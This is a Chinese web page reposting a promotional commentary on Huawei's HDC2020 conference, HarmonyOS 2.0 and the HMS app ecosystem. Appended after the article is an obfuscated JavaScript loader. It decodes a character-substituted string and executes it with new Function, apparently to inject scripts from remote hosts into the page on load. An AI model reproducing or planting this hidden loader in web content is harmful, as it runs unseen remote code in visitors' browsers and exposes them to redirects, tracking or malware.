全球生态大迁徙:华为如何打赢开放之战

2025-03-19 03:03:18
推荐回答(1个)
回答1:


文/在前线 老凉

“没有人能够熄灭满天星光”,这是华为自己的呼声,更是 科技 产业共同的夙愿。

过去一年多时间,对于华为而言,可能是这家公司 历史 上最艰难的阶段,被各种针对,被各种断供;与此同时,也可能是华为展现坚韧的开始。

近日召开的华为HDC2020(华为消费者开发者大会),则可以看作是一个全新的分水岭。这次活动上,华为可谓是尺度大开,发布鸿蒙(Harmony)2.0和HMS Core 5.0,其中更蕴含Harmony 2.0全面开源、出海计划等助力开发者的计划,全面展示了其对开放的底气和豪气。

在本次大会上,给人留下印象深刻的是星空和“星星之火”,对于为何要引入这些元素,华为消费者业务全球CMO朱勇刚指出,这个创意来自于科幻电影《奔向宇宙》(2001: A SpaceOdyssey),之所以用这样的主题元素,是想表达:人们在奔向宇宙的时候,坐在宇宙飞船里面,心情是忐忑的、未知的、不能确定的。

朱勇刚还指出,“我们希望体现出奔向宇宙的感觉,体现我们勇于 探索 、勇于去面对不确定的精神。所以,设计团队就选了很多跟宇宙、星星有关的图片。对于未知的世界,我们也不知道会怎么样,我们就觉得要走下去。”

在前线认为,遭受美国打压以来,华为没有沉沦,而是奋然崛起,虽然也不知道前路有什么,但是责任驱使华为和生态伙伴一起毅然向前。做大、做强生态,就是华为奔向宇宙之旅。

做生态的背后,是华为开放战略的全面布局,其如此笃定要走开放之路,占据了天时地利与人和:天时, 科技 产业呼唤开放;地利,全球开发者拥抱开放;人和,华为HMS已经成为全球三大应用生态之一,有责任和有能力引领开放潮流。

天时: 科技 产业呼唤开放

过去几十年, 科技 产业可谓是分分合合,分久必合合久必分,如今,又到了变革的时刻。

从计算的形态而言也是这样,从当年的大型主机,到后来的x86服务器,再到云计算,以及移动互联网,每过10年,就差不多有新一波的革命出现。

如今,随着技术的发展,IT产业的发展已经快速过渡到ICT的整合,在这个过程中,云计算、大数据、5G、人工智能、物联网等创新技术领域快速融合,这也催生了 科技 产业的巨变。

由此,世界开始进入万物智联时代,而在这种背景下,人们对智能生活有了全新需求,人们需要更开放、更个性化的应用体验,不被某个系统、某个技术或某个品牌所绑定、锁定。

当前, 科技 产业的金字塔尖仍然被少部分公司把控,他们拥有众多话语权和重要的市场支配地位,这是很可怕的事情,用户一旦进入某个单一品牌、单一生态,或者某几个品牌设下的生态陷阱,享受到的可能是单调的、千篇一律的、毫无生气的应用体验和服务体验,而大家机械式地买单,难以享受到更多创新技术的心跳和喜悦。

从纵深来看,PC、手机、家用电器、物联网设备等等诸多个领域,因为ICT技术的融合创新而迎来巨变,人与设备、设备与设备之间都需要智能连接,人们希望得到的是跨领域、跨平台、跨行业的全场景应用体验,这种情况下,封闭的、自己垂直整合的玩法已经香不起来了。

在移动互联网时代,智能手机是当仁不让的核心,而在万物智联时代,手机仍是核心,但同时也成为一个桥梁和纽带,用户期望的在众多的设备上、场景中都有同样的体验,这就要求开发者和应用生态必须是开放的、公平的,而不是锁定在一类设备和一个领域中。

苹果、谷歌、微软等巨头也都看到跨领域的需求,近几年来也都在尝试打造横跨PC、平板电脑、智能手机以及IoT之间的场景连接体验。苹果的iOS多次改名,而mac OS也试图与其他领域实现握手,谷歌也同样试图打通安卓和Chrome OS的连接,微软其实之前很努力像把Windows跨界到更多更多领域,可惜后来手机改安卓了,现在的折叠屏也玩起了安卓。

巨头们都有开放的心思,但是想要玩全场景并不是那么容易,关键一点是,这些开放都是在自己原有的势力范围内的开放,这是一种私域的开放,自己跟自己玩,而生态伙伴跟着很茫然地走啊走。

这样的局面其实正在发生改变,开放的边界与格局也正在放大,业界也呼吁真正的开放。华为把受到的打压换算成动力,把危机化解成机遇,可以说,适时切入并把握住产业的拐点和爆发点。特殊的节点上,华为把握住了天时。

地利:全球开发者拥抱开放

开发者是移动互联网和万物智联的核心力量,他们的呼声决定着 科技 产业未来的发展。一个生态的好坏,必须由开发者自己来评判,开放的浪潮自然也有开发者自己把握。

从目前的局势来看,全球 科技 产业呈现两极分化,一端是超级巨头,苹果、谷歌、微软等巨头公司不但在营收、市值等方面位居产业塔尖,与此同时他们也掌控着产业话语权;另一端则是大多数的小开发者、小企业,他们数量巨大,但是在生态中的成长空间狭窄。

还有一点值得我们注意的是,全球拥有很多优秀的开发者和优秀的应用,尤其是欧洲、亚太的很多开发者和技术公司,他们对新技术的 探索 充满激情,但在苹果和安卓的生存法则中,很难把应用体验推广到全球市场,甚至也难以进入到主流市场和TOP。

苹果iOS和谷歌安卓,是业内最知名的两大应用生态,但是对于开发者而言,这两大生态的吸引力正在下降。抽成比例过高是一部分原因,苹果和谷歌30%抽成比例,相比华为15%高太多了。

与此同时,苹果和谷歌的生态主要集中在手机和平板上,对PC、物联网、可穿戴、 汽车 等领域没有很好的覆盖,也就是说,开发者的用武之地小了很多,商业利益也会变得很小。万物智联时代,需要的是全场景化体验,开发者都要去拥抱这个大趋势。

另外,数字化、智慧化趋势席卷各行各业,很多行业的巨头,亟需通过一场变革来拥抱新世界,但没有精力或没有经验。再联系到当前充满不确定性的产业态势,厂商的发展受到严重影响,而用户应享有的体验也大打折扣。

不管是中国开发者,还是欧洲开发者,都需要在全球舞台上展现自己、证明自己。华为在受到打压后,展现的巨大活力,给业界带来思考。

据IDC数据,2020年Q2,华为1+8+N全场景业务快速增长,多个业务成为全球、国内前三,其中:手机全球第一、中国第一;腕上可穿戴全球第一、中国第一;手表全球第二、中国第一;平板电脑全球第三、中国第二;笔记本电脑全球同比增长120%、中国第二;TWS耳机全球和中国都同比增50%.

除了这些端上领先之外,华为的麒麟处理器、鸿蒙操作系统、HMS等,以及整个1+8+N生态布局,甚至业内有观点认为,华为完全可以走出自己的一条垂直整合道路,自己位于生态链的顶端。而事实上,华为却做了开放的平台,让开发者成为主角。

人和:华为的能力与责任

做开放生态,为什么是华为?答案除了外界因素,更多的则是内因,华为不得不为之,当然这也是能力与责任的体现。

深受打压的华为,却并没有因此沉沦,反而是犹如弹簧一样,压得越狠反弹得越高。在去年516之后,GMS断供,这个时候华为的预备役HMS立刻顶上,在短短的时间里,快速迭代,完成了对GMS的完美替代。


有关数据显示,截止到今年8月,HMS全球注册开发者数量已经超过180万,有超过9.6万个应用集成HMS Core。华为应用市场(AppGallery)全球活跃用户达4.9亿,2020年1月至8月 AppGallery 应用分发量达2610亿,标志着全球第三大移动应用生态破土而生。

上面这些数据是华为生态能力的展现,而在HDC2020上,华为发布的有关鸿蒙操作系统开源、HMS出海服务引擎和HMS出海联盟等举措,则是体现了华为致力于构建开放平台的格局与责任。

HDC2020上,华为宣布,从明年开始,华为手机将全面预装鸿蒙操作系统,由此一来,华为的去谷歌化更进一步。

当然了,实现替代只是华为的第一步,更重要的是华为基于HMS和鸿蒙操作系统,打造一个更具价值的生态,一个全场景体验的生态,一个不同于苹果和谷歌的生态。

在HMS生态中,开发者不止能拿到比苹果、谷歌更优厚的回报,更能把自己的能力复刻到更多领域,1+8+N不只是意味着华为在端上的布局,更意味着开发者的触角和商机更全更广。

从HDC2020,我们可以看出,开放的价值是一起共享红利、共享机遇,开放的意义在于,为不同产业的开发者赋能,让生态伙伴更具生命力。

开放不只是一个加号,而更应该是个乘号,美的等优秀的家电厂商,通过接入华为生态,不只是给自家的产品接入了智能化,更为自己品牌插上了 科技 的翅膀,从家电厂商蜕变为 科技 厂商……这样的例子数不胜数。

众所周知,华为有,“上不碰应用,下不碰数据”的口号。

这样的态度和定位,让华为的言行不同业界的其他巨头,这也让我们看到一个全新的应用生态。华为HMS生态这样的初心,让开发者更加放心,也更加专注于自己擅长的领域。



常务董事、华为消费者业务CEO余承东在HDC2020上指出,“没有停止,没有暂停,而是一起拼,比以往更拼。”这是华为的心声,更是华为对开放的呼声,也是华为生态应有的姿态。

对于华为来说,帮助中国企业出海,也要帮助国际上的创新公司进入中国市场。华为坚信,没有人能够熄灭满天星光,华为要和全球开发者、合作伙伴,一起打造一个全新的应用生态。

开放才是主流,想要打压某些公司,想要一家独大,好比要熄灭整个星空,这根本不可能。华为及华为HMS生态爆发出来的弹性和韧性,已经说明了这一点,也显示了开放的力量。

仰望整个 科技 产业,犹如浩瀚星空,一个个开发者,恰似繁星密布,煞是耀眼。

!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();